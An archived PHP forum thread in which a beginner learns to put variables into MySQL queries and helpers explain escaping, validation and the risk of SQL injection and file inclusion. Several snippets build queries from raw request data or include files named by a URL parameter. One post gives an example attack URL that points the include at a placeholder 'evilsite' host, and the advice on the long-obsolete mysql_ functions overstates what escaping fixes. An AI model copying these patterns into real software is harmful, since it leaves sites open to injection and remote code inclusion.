SitePoint Sponsor

User Tag List

Page 1 of 2 12 LastLast
Results 1 to 25 of 34
  1. #1
    Winemaster bronze trophy BonRouge's Avatar
    Join Date
    Oct 2004
    Location
    Sendai, Japan
    Posts
    2,417
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)

    Can I use a variable within a mysql_query?

    OK. I'm new to PHP and MySQL and I'm just trying to figure a few things out.
    I've followed the first four chapters of Kevin Yanks' book (I guess I should buy the rest of it, eh?) and this is where I am now... I have put some data into a table on my server using a form (I created the table with 'php myAdmin'). I'm able to pull data with data with the same subject title like this :
    PHP Code:
    $result = @mysql_query('SELECT * FROM `comments` WHERE `Subject` = "bees"');
    if (!
    $result) {
     exit(
    '<p>Error performing query: ' mysql_error() . '</p>');
    }
    echo 
    $result;

    while (
    $row mysql_fetch_array($result)) {
    echo 
    '<div><p>Name :'$row['Name'].'</p><p>Comment :'.$row['Comment'].'</p><p>Date :'$row['Date'].'<p></div>';

    So I get all the comments about bees. What I want to do is replace "bees" in the query with a variable - which would be the same variable as the page name, so I could have the subject of a comment on a page automatically entered in a hidden form field (it would be about that page) and then all the comments about that page could be displayed below. I hope this makes sense. My problem is that I can't seem to get a variable in that query. I want to do something like this :
    PHP Code:
    $page =" bees";
    $result = @mysql_query('SELECT * FROM `comments` WHERE `Subject` = $page'); 
    Thanks a lot for any help.

  2. #2
    Umm. PHP Guru....Naaaah jaswinder_rana's Avatar
    Join Date
    Jul 2004
    Location
    canada
    Posts
    3,193
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    $page =" bees";
    $result = @mysql_query("SELECT * FROM `comments` WHERE `Subject` = $page");

    use "quotes not 'quotes as php interprets variables in "quotes and just prints the string as if in 'quotes.

    i think this is what you want.

  3. #3
    SitePoint Wizard Dylan B's Avatar
    Join Date
    Jul 2004
    Location
    NYC
    Posts
    1,150
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    PHP Code:
    $page =" bees"
    $result = @mysql_query('SELECT * FROM `comments` WHERE `Subject` =' $page); 

  4. #4
    Winemaster bronze trophy BonRouge's Avatar
    Join Date
    Oct 2004
    Location
    Sendai, Japan
    Posts
    2,417
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Hey. Thanks for the speedy response. Unfortunately, that gave me this error message :
    Error performing query: Unknown column 'bees' in 'where clause'
    I saw this a few times before when I was playing with different kinds of quotation marks. I don't want a column called 'bees' - I want rows with 'bees' as the subject title. Strange...

  5. #5
    Winemaster bronze trophy BonRouge's Avatar
    Join Date
    Oct 2004
    Location
    Sendai, Japan
    Posts
    2,417
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    And Dylann,
    Thanks - I just tried your idea but I got the same error message.

  6. #6
    SitePoint Wizard swdev's Avatar
    Join Date
    Oct 2004
    Location
    UK
    Posts
    1,053
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    try this out

    PHP Code:
        // Just chage $page to the nameof the subject you require
        
    $page 'bees';
        
    $sql 'SELECT Name, Comment, `Date`, Subject FROM comments WHERE Subject = \'' $page '\'';
        
        
    /* ***** diagnostic ***** */
        
    echo '<br /> executing ' $sql '<br />';
        
    /* ***** diagnostic ***** */
        
        
    $result mysql_query($sql); 
        if (
    false == $result)
        {
          echo 
    'Failed to execute ' $sql ' due to ' mysql_error();
        }
        else
        {
          while (
    $row mysql_fetch_assoc($result))
          {
           echo 
    '<div><p>Name :' $row['Name'] . '</p>'
                   
    '<p>Comment :' $row['Comment'] . '</p>'
                
    '<p>Date :' $row['Date'] . '<p></div>'
                
    ;
          }
          
    mysql_free_result($result);
        } 
    It looks like you problem was getting the quotes correct.

    Ideally, you shouldn't select all the columns from the table using 'SELECT *', you should individually name the columns you require, e.g. 'SELECT Name, Comment, Date ...'.

    Also, you shouldn't name a column using a reserved SQL keyword (Date). If you do, then you need to enclose that column name in backticks (`Date`). It would be better to give it a different name - say CommentDate.

    Hope this helps

  7. #7
    Non-Member Icheb's Avatar
    Join Date
    Mar 2003
    Location
    Germany
    Posts
    1,474
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    PHP Code:
    $page "bees"
    $result = @mysql_query('SELECT * FROM `comments` WHERE `Subject` = "' $page .'"'); 
    Otherwise it compares the column Subject to the column bees.

  8. #8
    Winemaster bronze trophy BonRouge's Avatar
    Join Date
    Oct 2004
    Location
    Sendai, Japan
    Posts
    2,417
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Hey swdev,
    Thanks a lot. That worked. I'll try to take the tips on board too. I can't say I understand what's going on 100% but I think I'll get there with the community's help.
    Thanks again.

    And Icheb. Thank you too.

  9. #9
    SitePoint Wizard swdev's Avatar
    Join Date
    Oct 2004
    Location
    UK
    Posts
    1,053
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    BonRouge

    No problems.

    Read the php manual and the user contributed notes. There is a wealth of information in it.

    Also, keep asking questions. The people here are very helpful.

  10. #10
    Winemaster bronze trophy BonRouge's Avatar
    Join Date
    Oct 2004
    Location
    Sendai, Japan
    Posts
    2,417
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    OK... I got half of what I wanted to do - my pages will show the comments related to that page by using the same variable as the page name. I know this works because I put a few entries directly into the database where the subject name was the same as one of my pages. Now I'm trying to pass the same variable on to another page along with the others.

    Code:
    <form id="commentform" action="submitted.php" method="post">
    <label>Name:<input name="name" /></label><br />
    <input name="$page" type="hidden" />
    <label>Comment:<br />
    <textarea name="comment" rows="2" cols="40">
    </textarea></label><br />
    <input type="submit" value="SUBMIT" />
    </form>
    I want that $page to be the subject of the comment.
    The next page has this :
    PHP Code:
     if (isset($_POST['comment'])) {
       
    $Comment $_POST['comment'];
       
    $sql "INSERT INTO  comments SET
           comment='
    $comment',
           name='
    $name', subject='$page',
           commentdate=CURDATE()"
    ;
       if (@
    mysql_query($sql)) {
         
    header"Location: http://bonrouge.com/br.php?page=thanks2" );
       } else {
         echo 
    '<p>Error adding submitted comment: ' .
             
    mysql_error() . '</p>';
       }
     } 
    Obviously, I don't know what I'm doing, but I think you can see what I'm trying to do. Any pointers here?

    Thanks again.

  11. #11
    gimme the uuuuuuuuuuu duuudie's Avatar
    Join Date
    Feb 2004
    Location
    Switzerland
    Posts
    2,253
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Unless you're using heredoc syntax, you need to echo the $page var:

    PHP Code:
    <input name="<?php echo($page); ?>" type="hidden" />
    Even better, I would do something like this:
    PHP Code:
    <input name="page" value"<?php echo($page); ?>" type="hidden" />
    Once the form is submitted, request the value of the page field:
    PHP Code:
    $page $_POST['page']; 
    you can then use the $page var in your query.

    One good advice is to always check what is submitted by the client. Never trust anything coming from your users.


  12. #12
    gimme the uuuuuuuuuuu duuudie's Avatar
    Join Date
    Feb 2004
    Location
    Switzerland
    Posts
    2,253
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Also: I assume that magic_quotes_gpc() is on since you don't use clean your data inserting it in the db.

    It's a no no.

    Use the mysql_real_escape_string() to clean your data:
    PHP Code:
    $Comment mysql_real_escape_string($_POST['comment']); 
    Same goes for all the data coming from your form.

    Inclue the following script at the top af all the pages dealing with get, post and cookies methods, if magic_quotes_gpc() is on it will virtually disable it, thus allowing you to clean your data manually:

    PHP Code:
    function strip_magic_quotes($arr)
    {
        foreach (
    $arr as $k => $v)
        {
            if (
    is_array($v))
                { 
    $arr[$k] = strip_magic_quotes($v); }
            else
                { 
    $arr[$k] = stripslashes($v); }
        }

        return 
    $arr;
    }

    if (
    get_magic_quotes_gpc())
    {
        if (!empty(
    $_GET))    { $_GET    strip_magic_quotes($_GET);    }
        if (!empty(
    $_POST))   { $_POST   strip_magic_quotes($_POST);   }
        if (!empty(
    $_COOKIE)) { $_COOKIE strip_magic_quotes($_COOKIE); }


  13. #13
    Winemaster bronze trophy BonRouge's Avatar
    Join Date
    Oct 2004
    Location
    Sendai, Japan
    Posts
    2,417
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Duuudie,

    Thanks a lot, I'll try to implement that now.
    No idea what heredoc syntax is by the way.
    And about not trusting users... you're saying I should not let people put comments straight onto my pages? Have you had problems with this in the past?
    I've seen other sites with comments and, I don't know, it seems OK. Really, I'd be interested to hear about any problems people have had.

    Thanks again.

  14. #14
    Winemaster bronze trophy BonRouge's Avatar
    Join Date
    Oct 2004
    Location
    Sendai, Japan
    Posts
    2,417
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    As for the your second post there, are you saying I should do both of those things? Add this : mysql_real_escape_string() to each of the posts and then add all that code at the top of the page?
    I'll do that now, but without wanting to sound like I know next-to-nothing, why?

  15. #15
    gimme the uuuuuuuuuuu duuudie's Avatar
    Join Date
    Feb 2004
    Location
    Switzerland
    Posts
    2,253
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    What I meant is that you should check what they submit.
    Use PHP to check that the data doesn't exceed the expected length etc...

    Most important thing: clean your data. If you don't, you're exposed to sql injections attack. mysql_real_escape_string() will fix all of the problems you might encounter in terms of cleaning.

    Here is some code to check the data:

    PHP Code:
    function checkIncomingData($idata$minsize$maxsize
    {

       if ( 
       
             
    $idata == '' 
             
       
    or  
       
             
    strlen($idata)<$minsize

       
    or  
       
             
    strlen($idata)>$maxsize 
          
          

       {
          
          return 
    false;
       
       }
       
       else
       
       {
          
          return 
    true;
       
       }

    you can add as many checks as you want. The $idata == '' part and $idata<somelength is somewhat redundant, but I keep it to display different error messages.

    here is a function that cleans your data. mysql_real_escape_string is a little more torough than addslashes.
    PHP Code:
    //make sure that nothing bad can be entered by the user (-->sql injection attack)

    function cleanIncomingData($idata
    {

       
    $cleaned trim($idata); 
       
    $cleaned mysql_real_escape_string($cleaned);

       return 
    $cleaned;

    you would typically use these functions like this:

    PHP Code:

    if (

          !
    checkIncomingData($_POST['categoryname'], 1100)
       
    or

          !
    checkIncomingData($_POST['pagetitle'], 1100)
       
    or

          !
    checkIncomingData($_POST['pagetexttitle'], 1100)
       

    or

          !
    checkIncomingData($_POST['pagetext'], 150000)
       

       ) 
       
    {

       
    header('Location:' $url 'errormessage.php');
        
    }

    else

    {

       
    $categoryname  cleanIncomingData($_POST['categoryname']);
       
    $pagetitle     cleanIncomingData($_POST['pagetitle']);
       
    $pagetexttitle cleanIncomingData($_POST['pagetexttitle']);
       
    $pagetext      cleanIncomingData($_POST['pagetext']);

      
    //insert in db

    Also, you will use htmlentities() when you display the data. Do not use this function to handle incoming data. Only use it once you want to display it.

    htmlentities() will ensure that users can't display html code. Important note: htmlentities() doesn't deal with attributes in html tags.

  16. #16
    gimme the uuuuuuuuuuu duuudie's Avatar
    Join Date
    Feb 2004
    Location
    Switzerland
    Posts
    2,253
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Quote Originally Posted by BonRouge
    As for the your second post there, are you saying I should do both of those things? Add this : mysql_real_escape_string() to each of the posts and then add all that code at the top of the page?
    I'll do that now, but without wanting to sound like I know next-to-nothing, why?
    Don't worry, we are all beginners at some point

    To make a long story short, a sql injection attack is a malicious code entered by a user that contains a string that will then be executed as a part of your sql statement. If you don't clean incoming data, someone might simply erase all your data... That's why magic_quotes_gpc() was created. Its purpose is to automatically clean data by adding slashes to chars that might be problematic. So ' would become /', " -->/" * --> /* etc...
    As you can see, it escapes these chars so that they can't be understood as part of your sql query.
    Now if you create a whole website using with magic_quotes_gpc() on and that you have to move this site on a server with m_q_gpc() turned off, you're in trouble.

    That's why it is recommended to escape strings yourself, using the mysql_real_escape_string() function. But guess if magic_quotes_gpc() is on, you will escape twice the unwanted chars... That's why the function posted above is useful, no if magic_quotes_gpc() is on, it strips the extra slashes, if it's off, it does nothing.

    From there on, you can rely on your own code to clean incoming data and you won't have to bother about servers different settings.

    I strongly recommend the reading of the first post of the PHP tips and tricks thread stickied in this forum

  17. #17
    Winemaster bronze trophy BonRouge's Avatar
    Join Date
    Oct 2004
    Location
    Sendai, Japan
    Posts
    2,417
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    duuudie,

    I'm afraid I may have done something wrong because after putting in what you suggested, the page variable still isn't getting through to the database. Everything else seems fine. I don't understand why (but then, I wouldn't).

    I'll read your latest post more carefully when I've got this sorted. But erm... what is 'sql injections attack'?

    Thanks again

    I'll attach these two files so you can have a look - it might be better than snippets (and you might be able to tell me how bad I'm doing).
    Last edited by BonRouge; Jan 3, 2005 at 04:00.

  18. #18
    Winemaster bronze trophy BonRouge's Avatar
    Join Date
    Oct 2004
    Location
    Sendai, Japan
    Posts
    2,417
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    I was actually reading that earlier - the tips and tricks thread - as I was trying to do this. I've read a lot of the php manual and some other stuff, but I think it takes time to get used to - you know, to sink in. In fact, I always think the best way to learn is by doing, so I'm doing.
    I was a bit shocked when I was reading the tips and tricks (first part), when I came across this :
    First and foremost, I believe, is the use of register_globals. For those of you who don't know, register_globals allows you to access variables from forms and URLs (such as file.php?var=foo) as $var in your script -- "magically" created global variables.
    It seems to be saying not to call your pages 'file.php?var=foo'. Now, I was reading A List Apart and the tutorial there - the basis of my new site (nothing big, mostly about css and javascript - little things I've picked up) - is that. Am I misunderstanding something? Do I need to go back and start again?

  19. #19
    gimme the uuuuuuuuuuu duuudie's Avatar
    Join Date
    Feb 2004
    Location
    Switzerland
    Posts
    2,253
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Actually, append data to the url is not a bad thing at all. What uis bad, based on the example you provided is to access var just by typing $var.

    The good practice goes as follow:
    PHP Code:
    $var $_GET['var']; 
    It prevents some painful errors.

    I'm going to sleep right now so I'll have a look at your scripts tomorrow if no one else answered your questions.


  20. #20
    Winemaster bronze trophy BonRouge's Avatar
    Join Date
    Oct 2004
    Location
    Sendai, Japan
    Posts
    2,417
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Well, thanks for everything so far.

  21. #21
    Winemaster bronze trophy BonRouge's Avatar
    Join Date
    Oct 2004
    Location
    Sendai, Japan
    Posts
    2,417
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Bit of a **bump** this, because I still need help with passing my variable, but I do have another question about the last point - I'm still a little unclear.

    Here's my 'template' :

    PHP Code:
    <?php include ("br-head.htm"); ?>
    <body>
    <div id="wrap">
    <div id="menu">
    <?php include ("menu.php"); ?>
    </div>
    <div id="body">
    <?php include ("$page.htm"); ?>
    <div class="clear"></div>
    </div>
    </div>
    </body>
    </html>
    The menu points to pages like br.php?page=dmenu.

    Is this bad? If so, what should I do to fix it?

  22. #22
    gimme the uuuuuuuuuuu duuudie's Avatar
    Join Date
    Feb 2004
    Location
    Switzerland
    Posts
    2,253
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Hi bonrouge,
    btw what's your favorite red wine?



    Your attachement hasn't been approved yet, yo you'll have to wait a little.

    About your second question, the rigester_globals issue is kinda scaring you right?

    Don't worry, everything is fine and it's a common practice. You're not doing anything wrong. The only thing that you MUST do, is to check if you have the expected data.

    For example, if you retrieve data using the GET method (like in your above example) do something like this:
    PHP Code:
    if (

       !isset(
    $_GET['page'])

    or

       
    $_GET['page'] != dmenu

    )

    {

    //do something, like redirecting to an error page

    }

    else

    {

    //do what was expected


    You should make checks like that as often as possible. Always check that everything is set, that you have the expected value for the variable in question etc...


  23. #23
    Winemaster bronze trophy BonRouge's Avatar
    Join Date
    Oct 2004
    Location
    Sendai, Japan
    Posts
    2,417
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Sorry, I don't quite get it. How would that fit into my pages - either that 'template' page or the menu page?

    And... here are links to those txt files.

    http://bonrouge.com/comments.txt

    http://bonrouge.com/submitted.txt

    I really appreciate your help.

    Edit:

    Favourite red wine - Rioja (Spanish)

  24. #24
    Winemaster bronze trophy BonRouge's Avatar
    Join Date
    Oct 2004
    Location
    Sendai, Japan
    Posts
    2,417
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    OK. I have my little problem sorrted out.

    I copied this from one of the posts above (duuudie) :
    Code:
    <input name="page" value"<?php echo($page); ?>" type="hidden" />
    I just noticed the '=" is missing! (value="....")

    Anyway, I'd still like to know what all that was about before - being careful with variables. It's beyond me. (Well, it's not beyond me - I just don't get it at the moment).

    Thanks again for all the help.

  25. #25
    gimme the uuuuuuuuuuu duuudie's Avatar
    Join Date
    Feb 2004
    Location
    Switzerland
    Posts
    2,253
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    So the problem is fixed, right?

    Now we can talk about a few important things then

    Just imagine that you have a url like "file.php?var=foo". You will use your $var for various purposes. Now what if a user modifies your url like this: "file.php?var=yeahwhatever"? This can leads to unpredicatble results, depending on the use you kane of your $var. Let's imagine that you use your url to dynamically include a bit of code, like somme css. And now imagine that a malicious user types the following url: "file.php?var=http://www.evilsite.com/evilcode.php".... Can you guess what would happen?
    That's why you need to check your variables.
    Now let's go back to your example: br.php?page=dmenu
    I guess that you use the $page var to load a dhtml menu or something like this.
    Can you tell me what would happen if one your users made a typo, or changed the url, without even noticing it amybe, to "br.php?page=ddmenu"? And now what if someone was like "dude, this page rocks, you got to check it out, the url is something like www.bonrouge.com/br.php". What is the behaviour of your page in case no value is set for dhtml?
    For all these reasons, you have to make sure that you get something coherant from your $_GET, $_POST and $_COOKIES, because they interfer with the user and you shouldn't trust your users. It's also very easy to fake a $_POST submition. So don't think that forms are the solution.

    Therefore, you should check your variables to make sure that you get what you expected. In our example, it would look like something like:
    PHP Code:
    $menu $_GET['menu']; //we retrieve the value from the url

    if (

          
    $menu!='dhtml' //if menu is not equal to dhtml
       




       
    //we display a default menu

    }

    else

    {

       
    //we display the excpected dhtml menu


    That's the core idea.

    I found a post that you might want to read to gain a better understanding of sql injections attacks, which is another sensitive topic for beginners:
    http://www.sitepoint.com/forums/show...&postcount=173

    Don't hesitate to ask any questions


Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •